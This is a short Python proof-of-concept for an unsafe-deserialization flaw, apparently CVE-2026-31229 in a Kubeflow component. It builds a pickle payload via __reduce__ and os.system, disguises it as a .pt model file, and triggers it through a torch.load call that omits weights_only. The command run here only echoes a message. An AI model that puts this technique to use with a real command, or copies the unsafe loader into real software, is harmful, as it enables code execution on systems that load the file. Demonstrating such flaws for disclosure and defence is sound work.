Vulnerable code sample

import torch
import os
import pickle

# This class defines the malicious payload.
# When an object of this class is deserialized by pickle, its __reduce__
# method is called. This method is designed to return a callable (os.system)
# and its arguments, leading to command execution.
class MaliciousCodeExecution:
    def __reduce__(self):
        command = 'echo "SUCCESS: Remote Code Execution triggered by CVE-2026-31229 vulnerability."'
        return (os.system, (command,))

# --- Attacker's Action ---
# An attacker creates a file that looks like a model weights file (.pt).
# However, instead of containing tensors, it contains the serialized
# malicious object. torch.save uses pickle internally.
malicious_file_path = "malicious_model.pt"
attacker_payload = MaliciousCodeExecution()
torch.save(attacker_payload, malicious_file_path)
print(f"Attacker: Malicious file '{malicious_file_path}' created.")


# --- Vulnerable Application Code (Simulating ART's Kubeflow Component) ---
# This function represents the vulnerable part of the application. It's
# intended to load model weights from a given path. The path could be
# controlled by an attacker.
def load_model_from_storage(model_path: str):
    """
    This function simulates the insecure model loading functionality.
    It uses torch.load() without the 'weights_only=True' parameter,
    making it vulnerable to arbitrary object deserialization.
    """
    print(f"\nVulnerable App: Attempting to load model from '{model_path}'...")

    try:
        # THE VULNERABLE LINE
        # The 'weights_only' parameter is missing (defaults to False in older
        # PyTorch versions or if not specified). This allows pickle to
        # deserialize any object, including our malicious one, and execute code.
        model_weights = torch.load(model_path)

        # In a real scenario, the application would fail here or behave
        # unexpectedly because it didn't get a dictionary of tensors.
        # However, the malicious code has already been executed by torch.load.
        print("Vulnerable App: Model 'loaded'. Continuing operation...")
        # ... application logic would follow here ...
    except Exception as e:
        print(f"Vulnerable App: An error occurred during loading: {e}")


# --- Triggering the Vulnerability ---
# The application calls the vulnerable function, passing the path to the
# attacker's malicious file.
load_model_from_storage(malicious_file_path)


# --- Cleanup ---
# Remove the malicious file created for the demonstration.
if os.path.exists(malicious_file_path):
    os.remove(malicious_file_path)
    print(f"\nCleanup: Removed '{malicious_file_path}'.")